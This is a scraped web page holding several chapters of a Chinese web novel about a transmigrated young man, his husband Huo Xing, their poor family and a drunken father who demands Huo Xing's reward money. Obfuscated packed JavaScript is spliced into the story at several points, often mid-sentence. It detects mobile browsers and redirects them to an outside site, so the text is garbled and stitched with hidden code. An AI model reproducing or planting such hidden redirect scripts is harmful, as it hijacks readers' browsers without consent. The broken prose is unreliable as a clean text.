l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598278|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只能偿还你些黄白之物。” 没等霍行说完,付灵尧就把自己的钱袋子从付让的手上拿过来,翻了一下,他今天出门前带得不多,拢共五两银子,药钱就花了一两多,主要还是买阿胶的钱花得比较多。 意识到剩下的四两银子根本不够给报酬的,他朝付让伸手,把他身上的荷包也拿了下来,只是付让也不过是家里的家生子,身上也不过一两银子。 就在他一筹莫展的时候,医馆里又来了个人,是付灵尧的二哥付灵之。 “二哥!你来了真是太好了,借我点钱。”他凑到付灵之的面前,“我回家还你。” 付灵之把荷包给了他,付灵尧把荷包里的银子倒出来,加上他自己的,凑了十两银子,他把银子交给霍行:“这是给你的。” 霍行被这沉甸甸的银子吓到,连忙推辞说不要,说今天不管是谁他都会救的。 付灵尧一听这话不高兴了:“你是说本少爷的命还不值十两银子?” 霍行没办法,只能接下了那十两银子。 付灵尧松了一口气,收下钱就好,从小大哥就教育他们,能用钱解决的事情,不要让人挟恩以报。 付灵之从他手上拿回自己的荷包:“看你下次还敢不敢这么毛手毛脚的。” 付灵尧解决这件事情之后,心情也松快了许多,他看向付灵之的荷包:“你这荷包挺新奇啊,我也要一个。” 付灵之哼了一声:“这个现在可不好买,等我买到再送你吧。” 两人有说有笑地走出了医馆,先前那两个人也一直没走,先前他们还在惋惜霍行没有办法赚钱了,结果转身他就拿到了十两银子!十两银子已经够他们一年的花销了,早知道他们也冲上去给少爷扛箱子了。 只可惜,机会只有这一次。 霍行也被这突如其来的钱弄得有些不知所措,他呆滞了好一会儿,接过大夫给他的药,缓缓地走出了医馆。 他伤了一条手臂,但怀揣着他可能这辈子都赚不到的十两银子,在繁华的街市上有些恍惚。 看着手上的药,想起苗应先前吃药的时候苦到的样子,他先去了一趟点心铺子,用自己之前赚的钱买了些蜜饯,又买了些点心,提着东西往家走了。 不是靠自己双手劳作赚来的钱,他花起来觉得心虚。 手臂还是隐隐作痛,回到家的时候,苗应跟霍小宝两个人在菜地里拔萝卜,霍小宝人小,一根萝卜长得很大,他拔不起来,努力往上拖的时候,一个屁墩坐在了地上。 苗应哈哈大笑起来,把霍小宝从地里拔出来,又给他唱起了那首著名的拔萝卜的儿歌,唱到小朋友快快来的时候,霍小宝朝着他指路上随后睁大眼睛喊大哥。 苗应也回过头,就看见霍行在路上,一只手提着些东西,另一只手有些不正常地垂在身侧。 他跟霍小宝一起跑过去,就看见霍行的手臂被缠了起来,苗应一惊:“你怎么受伤了?” 12. 第 12 章 霍行点了点头,还没说话,苗应就已经凑了上来,一只手已经捏上了他受伤的那条手臂:“怎么弄的?伤到骨头了?” “没有,大夫说要静养。”霍行说。 苗应点了点头,转头跟霍小宝说:“你跟大哥回去,我去砍颗白菜。” 霍行带着霍小宝回到家里,李红英看到他被缠着的手吓了一跳,祖母也是眼眶通红,两人把他上上下下看了好几圈,又是心疼地抹眼泪。 “没事,大夫说没伤到骨头。”霍行干巴巴地说,他一向不怎么说话,更不懂要怎么安慰家中的长辈,只是用能用的那只手给他们油纸包,“点心,你们吃。” 李红英和祖母哪里吃得下东西,霍行受伤了,就代表着今年已经没了进项,本来以为今年有苗应赚的五两,再加上霍行赚的点钱,能过个好年,明年再努力一点,就再起一间房,毕竟霍小宝大了,不能再跟祖母睡一间房了,却没想到霍行受伤了。 苗应这会儿抱着白菜回来,看他们坐在院子里,于是问李红英:“娘,今天包包子吧?猪油渣白菜包?” 李红英点了点头:“我来发面。” 祖母则是坐在原地,看着霍行:“怎么会伤得这么严重。” “意外。”霍行站起身来,往灶门口坐下,霍小宝跟在他的身后,靠着他坐下。 苗应在拌馅儿,白菜切了之后用粗盐杀出水分,先前熬出猪油的油渣切碎,和挤干了水分的白菜和在一起,加了些葱姜之后,馅儿就拌好了。 家里也有精细的面粉,是过年过节才会吃的,今天霍行受伤,李红英难得地用了面粉发面,要好好包上一顿包子。 苗应把馅拌好,他不太会包包子,捏出来的包子像是一坨不明生物,李红英就不让他包了,让他去旁边歇着,这会儿祖母过来包了,苗应就闲了下来。 苗应把霍行拉回了房间里,伸手就扒了他的衣裳,看到了他肩膀上的伤:“不像是不小心弄的。” 霍行这才说:“救了一个人。”他刚才没跟李红英他们说那十两银子的事情,他藏了点私心,这十两银子他想分几两出来给苗应,总不能让他伤好之后空手离开。 他把前因后果跟苗应描述了一下,只是说得平淡笼统,那样危险的事情让他说得像是在街上捡了个大白菜一样。 “所以你拿着这十两银子,觉得心虚对吧。”苗应凑到他身边坐下,“你完全不需要有负担,你做了好事,好人有好报,这是你应得的。” “可是…” “你说那是县城里的一个少爷吧。”苗应拍了拍他没受伤的那边肩膀,“对于他们那样的人来说,能用钱解决的事情就都不叫事情,你救他命,他给你钱,这样就算两清,要是你不要钱,他们就要觉得你要别的东西了。” 霍行看着他认真的眼神,愣了一瞬:“是吗?” 苗应开导他:“没事的,拿着这钱吧,不需要有负担。” 听完他说的话,霍行觉得自己的心口没有堵得那么严重了,他只是看着苗应。 苗应也算是了解他的性子,主动跟他说起了家里的事情:“家里都还好,那天去县城里卖帕子,我们卖了五两银子,还有,我把你爹骂了一顿。” 霍行没有面上的表情生动了一些:“五两?” 苗应挺起了胸脯:“不止你会赚钱,我受着伤也会赚钱!”他说了那天发生的事情,“娘和祖母绣时间太久了,对眼睛也不好,我干脆就把样子卖出去。” 霍行点头:“多谢你。” 苗应扬了扬眉:“我也是能养家的,等我好了,我还能赚更多的钱。” 霍行侧头去看他的头,发现他头上今天已经没有敷药了,于是问:“你还在吃药吗?” 苗应点头:“娘看了,说已经结痂了,不用再敷药了。” 霍行把带回来的药给他看:“里面有阿胶,你下次熬药可以加进去。” 苗应摇头:“我都快好了,不吃那个,你怎么买这么多阿胶回来?” 霍行没说话,苗应已经为他找好了理由:“咱们的伤差不多,你的药方里有阿胶也是正常,但是为什么这么多?” 见霍行还是不肯开口,苗应又盘算了一下这些阿胶的用途:“给娘和祖母补补身体。” 霍行只是看了他一眼,从前的那个苗应,如果有这样的好东西,肯定都是被他占了去的,哪里还会想到娘和祖母。 说到这里,苗应又问:“你爹怎么回事?” 霍三其实也是有过像人的一段时间的,他们一家刚刚在村里定下来的时候,他也靠自己的双手养娘亲,在说亲事的时候媒人也夸他踏实肯干,不然李红英也不会嫁给他。 婚后他们一家的日子也过得和美,还重新修缮好了房子,霍行也是带着他们一家的期许出生的,只是后来霍行幼年开蒙晚,村里风言风语不断,渐渐地他就不喜欢这个孩子了。 可李红英生霍行的时候伤了身子,之后好几年都再也没好消息,他又生出了些别的心思,但家中也只是勉强混个温饱,村里人从没什么纳妾的,李红英平日里孝顺婆婆,勤俭持家,又有生育之功,半点错处挑不出来,连休妻也不能。 一日他去镇上想再找大夫给霍行看看能不能治好,却在一家妓馆前停了下来。 而后的日子,他搬空家里的钱匣子,只为了在妓馆里的片刻欢愉,家里的钱匣子搬空后,他就去当,没东西当之后他就去借印子钱,借了印子钱去赌,欠了一屁股赌债,后来实在瞒不住了,李红英才知道了这些事。 原本好好的家就此变得破烂,无论祖母怎么打怎么骂,他都要给那姐儿赎身,只是那姐儿见他身上再榨不出什么好处,便吩咐妈妈不许他再进门。 那些个印子钱和赌债,李红英当了嫁妆才还上,家里也重新变得一贫如洗,也不是没想过和离,但霍行还小,有后娘就有后爹,霍三做的这些事情,她也忍了下来,幸好婆母慈和,霍行孝顺,男人就当他死了就行。 霍三在祖母面前赌咒发誓,说以后再也不赌,这几年倒也真没去赌过了,但那酒却是越喝越多。 霍行讲话并不生动,苗应听得却是气出一身汗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598279|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本以为老登就是酗酒,没想到还干出这样的事情,他从小没有什么亲缘,这些天跟李红英的相处,已经把她当成了自家的长辈。 他恶狠狠地说:“看我身体好起来了怎么收拾他。” 霍行看他气得牙痒痒的样子,不太清楚他离开这些日子家里到底发生了些什么,怎么苗应就跟娘和祖母这么要好了。 苗应又说:“得了钱的事情还是要告诉娘的,一家人不能遮遮掩掩的。” 霍行点头,跟在苗应的身后出了房门。 包子已经上锅蒸上了,苗应想起他带回来的阿胶,又看了一眼霍行被缠着的手臂,最后把先前那只鸡拿了出来。 只剩最后一块了,用粗盐腌制了,再不吃就臭了,这会儿腌入味儿了,炖出来应该能好喝。 鸡肉剁块,清水洗净,锅里再加棒骨和阿胶还有姜片一起炖煮,快好的时候再加进萝卜,都说冬天的萝卜赛人参,这锅汤算是大补。 久违丰盛的一餐饭,霍三出门去了,苗应开心了一些,他这些好菜不是给人渣吃的。 白菜油渣包油汪汪的,萝卜鸡汤的香味萦绕在院子里,连一向不挑食的霍行都觉得饥肠辘辘。 霍小宝最藏不住心事,洗干净手就开始捧着包子吃,苗应给两位长辈盛了鸡汤:“娘,祖母,多喝汤,里面加了阿胶,对身体好的。” “你也喝点。”李红英也给他盛了一碗,“伤不是还没好。” 苗应也不扭捏,又给霍行也盛了一碗:“喝,你也得补。” 看着一家子老弱病残,苗应只觉得自己肩上的担子重了好多,他拿起一个包子吃起来,第一次体会到了缺油水是种什么感觉,一个大包子,他只吃了四口就全部下肚了。 他吃完一个包子,脚在霍行的腿上踹了一下,示意他把钱的事情告诉两位长辈。 霍行点了点头,又把受伤的事情重新说了一遍,也把十两银子的事情说了出来。 李红英的心里很是复杂,这十两银子是霍行受伤换来的,比起钱,她还是更希望霍行健健康康的。 霍行把那十两银子递到李红英的面前,李红英把银子往回推:“放我房里你爹会偷走,先前苗应赚的钱也是他自己收着的。” 霍行转头看向苗应,眼里的惊讶不似作伪。 苗应朝他一笑,然后看着李红英:“娘还有多久过年啊?”他穿越过来之后就一直不知道今夕何夕,只知道天冷是冬天。 “过几天就腊八了。”祖母说。 苗应点头:“那年货是不是该准备起来了,咱不是刚赚了钱,得做新衣服啊,霍小宝那裤子都添几截了,娘和祖母也该做衣服了。” 李红英看着他:“做什么新衣服,去年才做了。” 苗应毫不在乎:“去年是去年的,新年就该做新衣服。” 祖母也是不赞同:“给小宝做就行了,我们不要。” 苗应却不听:“赚了钱就是用来花的,省着干什么,以后还能赚更多钱的。”他拉了一把霍行的袖子,擅自决定,“明天上县城去买年货去。” 13. 第 13 章 夜里苗应点了灯,又仔细地看了看霍行的伤口,白色的布上是星星点点的血迹。 “大夫有说什么时候换药吗?”苗应把衣裳给他拉好,随后哆哆嗦嗦地躺进被窝里。 “两天。”霍行抬脚上床,熄了油灯。 躺下的一瞬间感觉到一双冰凉的脚贴在他的小腿上,霍行没动,苗应就更过分了一点,又把脚往他小腿肚里塞了塞,一边塞一边说:“太冷了,我一个人睡的时候一整晚脚都是凉的,明明今晚喝了阿胶鸡汤,怎么还是这么冷。” 霍行想说只喝了一天不会有什么效果,又不是什么灵丹妙药,但他最终还是没说没动,任苗应往他旁边挤。 苗应合着眼睛,絮絮叨叨:“明天去县城吧?买东西,让我想想都要买些什么,给娘和祖母买衣服,给小宝买零嘴,给你买骨头炖汤喝,再看看有没有什么香料,还有过年要吃的果子点心,春联要买吗?钱会不会不够……” 他话还没说完就停了下来,霍行侧头看过去,发现他已经睡着了。 小腿肚下的脚已经渐渐地有了些温度,但苗应依然没有把自己的脚挪开,甚至整个人都又往霍行的身边滚了一点,毕竟霍行那边暖和很多。 霍行察觉到自己的鼻腔里有丝丝的痒意,身上也是一阵燥热,他稍微离苗应远了些,但很快察觉到热源消失的苗应又跟了过来,额头贴在他的背上。 他揉了一下鼻子,想来应该是今晚汤里的阿胶,让他整个人都有点燥热,阿胶的功效果然好。 由于晚上的被窝暖烘烘的,苗应在第二天早上没能起得很早,还是被窝里的温度渐渐消失,他才醒过来,破旧的窗户外面是霍小宝嬉闹的声音,苗应打了个呵欠,颤抖着穿好衣服。 昨晚霍三没有回来,苗应穿好衣服之后从床褥下面找到昨天霍行给他的那十两银子和很多铜板,算上之前苗应卖花样子赚的钱,除去他们买肉的,这会儿还剩着十三两银子和几百文钱。 这对苗应来说,情况已经好了很多了,至少不用担心自己的小命了。 他把银子装进荷包里,这荷包是祖母给他做的,上面的图案是他自己画的,是一颗白菜,白菜百财嘛,带着很好的寓意。 他收拾好了出了房门,随后走到一边去洗漱,以前早上洗漱都是用凉水,今天早上居然是热水,一看就是霍行烧的。 热水敷在脸上,洗去了一夜好眠后的那一点点疲累,连眼睛都清明了一些,等他洗完脸,他才发现这会儿他用的洗脸的盆是霍行的,而且他还用这个盆泡过脚。 …… 早饭是昨晚剩的一碗汤和一个包子,家里除了霍小宝也都不在,刚要问他家里人都去哪里了,抬头就发现霍行挑着水桶回来了,苗应赶紧去帮他把扁担接下来:“不是伤着手了,怎么还去挑水呢?” 霍行用一只手提起水桶,把水倒进水缸:“一只手能用。” 苗应也不劝他,了解了他的大男子主义,认为家里的事情都该他做,到底还是歹竹出了好笋,霍行不像他爹,倒是值得欣慰。 “咱们一会儿去县城?说好了去买东西。”苗应把水桶和扁担归了位。 霍行面露难色:“娘说不让。” 苗应才不管,他去拉霍行的袖子:“都说好了的,买年货呢。” “年货,不急。”霍行在院子里坐下来,手臂刚刚使了力,这会儿有些酸疼。 苗应也看出来了,伸手在他没受伤的那侧肩膀上捏了捏:“去吧,一年做一身衣裳不是很正常的事情吗?我还想去看看有没有什么调料呢。” 霍行有些无奈:“娘说……” “不要老是娘说娘说的啊,你是妈宝男吗?”苗应站直身体,“你是男子汉,凡是要自己拿主意,现在,做决定,带我去县城。” 霍行看到院子里盯着他们的霍小宝,似乎是找到了理由:“小宝一个人在家。” “带上不就行了。”苗应已经急匆匆地回到房间里,找到了荷包,站到霍行的面前,“走。” 霍行无奈:“小宝还小,走不了那么远,你伤也还没好,再等两天好吗?” 苗应撇着嘴,知道他这是缓兵之计,但也没办法,霍行受伤,没办法背他,牛车也要遇到了才能坐,他这具身体现在确实也走不了那么远的路。 “那好吧。”苗应回到房间把钱藏好,垂头丧气地回到院子里,其实也不是非要去买东西,实在是家里待得太无聊了,他是习惯了打工的人,现在已经闲了这么久,虽然说赚了一笔钱,但这完全不够他们一家生活的,他还是想要动起来,动起来就不会胡思乱想。 霍行的目光无数次地落在苗应的身上,最后干巴巴地问了句:“去河边捉鱼吗?” 苗应顿时侧过头,眼睛里突然迸发光芒,但很快又黯淡下去:“天太冷了,你又受了伤,不能下河去。” 霍行有些手足无措,苗应已经招呼旁边的霍小宝过来,他们的院子里有一处沙地,苗应找了根棍子,在沙地上教霍小宝写字,霍小宝蹲在他的面前,学得很认真。 霍行也望过去,发现苗应很认真,但写的字不太对劲。霍行跟着老猎户也是学过几个字,正好苗应也在教小宝,只是苗应写得缺胳膊少腿。 写着写着,苗应抬起头:“霍行,小宝是不是也到了上学的年纪了?” 霍行点头,他捡回小宝的时候,小宝像是刚出生不久就被遗弃,在山里哭得撕心裂肺,要是他再晚点去,估摸着小宝就会被山上的狼给吞了,他仔细地检查了一下小宝,发现小宝是少了一根脚趾,也终于理解了小宝为什么会被遗弃。 “那过完年就送小宝去上学。”苗应一锤定音,“都四岁了,正是上学的好年纪。” 霍行面露难色。 苗应以为他是担心钱的事情,大手一挥:“你放心吧,钱的事情有我呢,我好了之后,跟你一起赚钱。” “不是钱的问题。”霍行站起身来,凑到苗应的面前,轻轻地跟他说了小宝的情况。 苗应愣了一下,随后说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598280|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那也要读书,读书就一定能考上状元吗?我希望他读书之后能明事理,能通达待人待物,退一万步说,上了学,以后也能糊口,哪怕做个账房,去外面摆个摊子读信写信呢,不都是出路吗?” 霍行似乎是被苗应的这些长篇大论震惊到了,脑子里又思考起了苗应曾经说的自己的来历,难道,他不是胡言乱语? 苗应决定的事情很难更改,在吃晚饭的时候就把要送霍小宝去学堂的事情宣布了。 祖母看着苗应,她好像都已经忘了受伤之前苗应的样子了,那时候他明明那么讨厌这个家,现在又处处为这个家好,她这一双老眼也看不透他了。 李红英是早就听过苗应说要送小宝去上学的,这会儿倒是也不惊讶:“村里是没有学堂的。” 苗应揉头发:“那哪里才有?” “镇上,县城。”霍行说。 “那就去县城,要上就上好的。” 李红英被他这理所应当的样子惹得笑了出来:“小宝才四岁,他一个人怎么在县城生活啊。” “不能寄宿吗?”苗应睁大了眼睛,“上学堂的孩子每天都要回来?” 李红英摇头:“没有四岁就上学堂的。就算是县城的读书人,他们也是能自理了才去上学的。” “就是说村里为什么没学堂啊。”苗应有些烦躁地抓头发,“村里这么多孩子呢。” “再晚几年吧,小宝年纪太小了。”李红英一锤定音,“这么小去学堂学也学不会。” 苗应撇嘴,在现代小孩儿三岁就开始上幼儿园了呢,霍小宝四岁还不用不上学。 于是今晚的夜话短暂地结束,关于霍小宝上学的事情还没得到一个令双方都满意的答案。 霍三从昨天早上出门到现在都还没回来,苗应看了一眼李红英,她似乎一点也不担心,就好像霍三死了还是活着都跟她一点关系都没有。 再看祖母好像也是一样。 也是,这样的男人活着还不如死了,活着只会给他们一家人增加负担,要是没有霍三,他们一家人能过得更好。 人是最经不得念的,苗应刚想收拾去碗筷,院门就被一脚踢开,霍三带着一身酒气站在门口。 “霍行,你个兔崽子,钱呢!”他晃晃悠悠走到霍行的面前,“老子都听说了,你得了十两银子,钱呢!拿出来。” 他气势汹汹,趾高气扬地走到霍行的面前,早已经被酒泡得都发虚的眼睛直视霍行的眼睛:“老子是你爹,钱拿来。” 他听说了霍行受伤的消息,他平日里避着他,这会儿知道他受伤了,还怕他个屁。 霍行站起身来,他身量比霍三高得多,这会儿正冷冷地看着他:“滚。” “这是老子的家!”霍三醉醺醺的趔趄一下,原本进了灶房里的苗应走到他身后,状似没看到他一样踩了他一脚。 霍三跳了起来,转身就想给苗应一巴掌,霍行一把把苗应拉到他的身后,抬手抓住了霍三的手,眼神阴鸷:“滚出去!” 14.第 14 章 似乎是被霍行吓到,霍三骂骂咧咧地进了房间里,不一会儿房间里就被他乱翻一气,没找到钱在哪,霍三出门,恶狠狠地盯着李红英,李红英只把他当空气,收拾了桌上的碗筷。 苗应也是一肚子气,看到霍三出门的背影,他转头看向霍行:“不能把他赶出家门吗?” 李红英这会儿出门来,他看向苗应:“可以分家。” 苗应赶紧摇头:“那怎么行,分家是不是就是我跟霍行两个出去,然后他继续折磨您和祖母?” 李红英嘴角扯出一个笑:“我开玩笑的。” “一点都不好笑。”苗应撇嘴,把霍行拉回房间去,“就没有别的办法整治他吗?” 霍行叹气:“他毕竟是长辈。” “屁的长辈,就是个棒槌。”苗应气呼呼,“等我好了看我怎么收拾他。” 随后苗应又问了他跟霍三喝酒的都是些什么人,霍行也一一说了,就是些村里的几个老混子。 苗应点头,记下了,这一晚苗应是带着气睡的,但跟昨晚一样,还是凑到霍行的身边睡着了,他还是有些怕冷。 这天早上他不是自然醒的,是被外面的声音吵醒的,意外的是霍行也没起来,苗应这才反应过来,他整个人都趴在霍行的身上,霍行像是个火炉散发着热气,他自己睡一整晚都睡不暖和的脚这会儿暖洋洋的,都有些不想起来了。 但外面的声音越来越大了,似乎还有些争执声,霍行也醒了,他醒了就立刻坐起来,穿衣穿鞋一点不拖沓,相比起来苗应就懒散了许多。 霍行穿好衣服之后把苗应的衣服塞进被窝里,苗应等了一会儿才穿上衣服,穿了好几层,没有羽绒服,穿几层都觉得冷。 他打着呵欠出门,就看见院子里来了个陌生人,这会儿拉着李红英的手,眼底都是祈求。 李红英似乎是被她烦透了,面上的笑都快维持不住了:“真没有!” “我都听说了,十两银子,你借给我二两又怎么了?我们家就差这二两银子的彩礼钱了。”张婶子是他们村里的一个邻居,平日里也能跟李红英说上两句话。 苗应听了这一句就知道是什么事了,他翻了个白眼,问到:“多少彩礼钱啊?” 张婶子看向苗应:“我们家不是准备给五两彩礼钱嘛,准备出了三两。” 苗应看向李红英,李红英朝他摇了摇头。 “这话说得,你不是还给不起呢,还得来借二两。”苗应凑到张婶子面前,“我给你出个主意。” 张婶子眼睛亮了:“什么?” “ 你也不必问我家借钱,我们直接给了你这五两银子,新娘子也别往你家去,直接拉我家来拜堂。” “你!”张婶子睁大眼睛,“你胡说什么!” “我这叫没有中间商赚差价,你只管让女孩儿上了花轿抬到我家,我来娶!” 张婶子气得跳脚,随后看向李红英:“红英啊,这你不管管!一个哥儿还想娶媳妇。” 李红英的脸上憋出一个不自然的笑来:“我这,管不了啊。” 苗应凑到她面前,面上一片得意:“我娶那咋了,难不成我还给我家的纳妾啊?我又不傻,五两银子买个能伺候我婆婆和祖母的,谁不夸我一句有孝心贤惠大度。” 张婶子还想对李红英说什么,苗应又说:“你缠我娘没用,钱都在我这里,我不开口,谁也别想拿走我的钱。” 张婶子被气得不知道说什么好,指着苗应的鼻子就想骂人,苗应刚刚挺起腰要应战,一个高大的人影就挡在他的面前。 霍行本就生得高大,面上没有表情的时候就更吓人,张婶子慌不择路,跑出霍家。 张婶子这才说:“这张家哪里艰难了,先前她家哥儿出嫁,要了八两的彩礼钱,全都拿来给她家儿子娶媳妇,明明有钱,还要来咱家借。” 苗应心下了然,又是一个耀祖。 李红英随后又有些不赞同地看着苗应:“何苦败坏自己的名声?” 苗应有些受宠若惊,娘竟然还关心起了他的名声来了,他毫不在意地拍拍胸脯:“别人的看法有什么重要的,亲近的人知道我是什么样子的就行了。再说了,难道我还有好名声?”说罢他又有些疑问,看向霍行,“都谁知道你受伤得了钱啊?我估计今天还得有上门来的人。” 霍行摇头,出事那天人太多,他也不知道到底多少人看到了他受伤,但给钱的事情一定是送他去医馆的人传出去的。 兵来将挡水来土掩,苗应能挡回去一个,自然也能挡回去十个。 果然如苗应所想,上门来借钱的人家有好几户,苗应本想出面,但李红英让霍行带他出去了,顺便让他把钱也带走了。 出门的时候苗应一步三回头,霍行伸手拍他的肩:“没事。” 李红英打发他们出来买彩线,先前因为绣帕子,家里的线不多了,村里有一户人家,是做货郎的,平日里两个儿子挑着担子去邻村卖东西,剩下的老娘亲就在家里也卖些寻常的东西,一家子的日子过得也不错。 买了好几把绒线,苗应又看了看他们家其他的东西,他还挺好奇的,村子里也有小卖部,只是卖的东西种类太少,就是些什么针线包,篦子,纽扣之类的,也没什么新奇的。 走到家门口的时候,苗应听见了院子里的声音,他赶紧推开门,就看见院子里两个人,在跟李红英说话,苗应想也没想,就站在李红英的前面。 这时他发现站在他面前的两个人看他的眼神很奇怪,他转头看向霍行,霍行才凑到他耳边:“那是你娘和你大哥。” 苗应一时间都忘了反应,这是他大哥跟他娘?长得也不一样啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601875|171936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看过自己在水里的倒影,长得很好看的,可怎么大哥长得这么磕碜?不算高,但又膀大腰圆,像是个胖胖的长冬瓜,但眼尾处又有一道疤,看起来又是凶神恶煞的样子。 至于娘,倒是不胖,但有些黑,吊梢眼,一看就不像是好相处的人,苗应想原主应该是捡着爹娘的好处长了,至少把吊梢眼长成了丹凤眼。 现在场面有些尴尬。 一边的苗东不可置信地看着苗应,当初苗应是不想嫁这霍行的,还是娘说他家彩礼给得多,说彩礼钱娘也都不留,都给苗应自己拿着,又说那霍行能打猎,家中殷实,他才肯嫁的。 毕竟那时苗应在他们家那边名声已经坏透了,难得苗东这个兄长还没成亲,爹娘就着急把苗应嫁出去。 嫁过去之后,苗应三番五次回家说霍家穷,说霍行是个木头,说公婆还有祖母都不喜欢他,说想和离,爹娘也觉得把苗应嫁过去坑害了人家霍家,所以在他们成亲之后,不仅让苗应把彩礼的五两银子带了回去,还回了不少嫁妆,都是实打实的粮食什么的。 怎么就几天没见,他们一家人的关系就这么好了? 李红英跟祖母交换了个眼神,把时间留给他们,亲家上门来,一餐饭是要准备的,不然怎么都说不过去。 霍行又被安排出去买肉,他们村里没有屠户,要买肉只能去邻村,路途还不近。 苗应跟出去了,随后把手里的荷包交到霍行的手上:“你好好藏起来,我估摸着他们上门来也是问我要钱的。”他没注意到霍行的眼神,说完后就急匆匆地回了院子里。 苗东看着苗应,粗声粗气:“你刚刚怎么回事?” 苗应自然不能让他们看出破绽:“那不得做做样子。” 他们的娘,刘琼盯着苗应的眼睛:“都传你男人救了贵人,得了十两银子。” 他男人三个字,听得苗应虎躯一震。 苗应叹了口气,挤出两滴眼泪:“是有十两银子,他们连看也不让我看一眼,就怕我对他们的钱生出什么想法。” 苗东和刘琼交换了个眼神,狐疑地看着他:“你还不肯让他沾你身子?” 苗应:!!! 这是能光天化日说的? “你还念着那个陈二娃?”苗东恨铁不成钢,“那个混子到底有什么好的,你还给他守着!当初一家人都劝你,好好跟霍行过日子,他那一身好体格子,你以后的日子过得不会差你怎么就不听呢?” 苗应的眼睛里有些错愕:“你们是来?” 刘琼敲了一下他的头:“我们是来看着你!别打人家银子的主意,你安安心心,踏踏实实跟他过日子不行吗?还有啊,守着你家的钱,可别谁都来借点。” 啊?画风不对啊?他们不是应该上门来打这钱的主意吗?怎么会是来劝他守好钱的?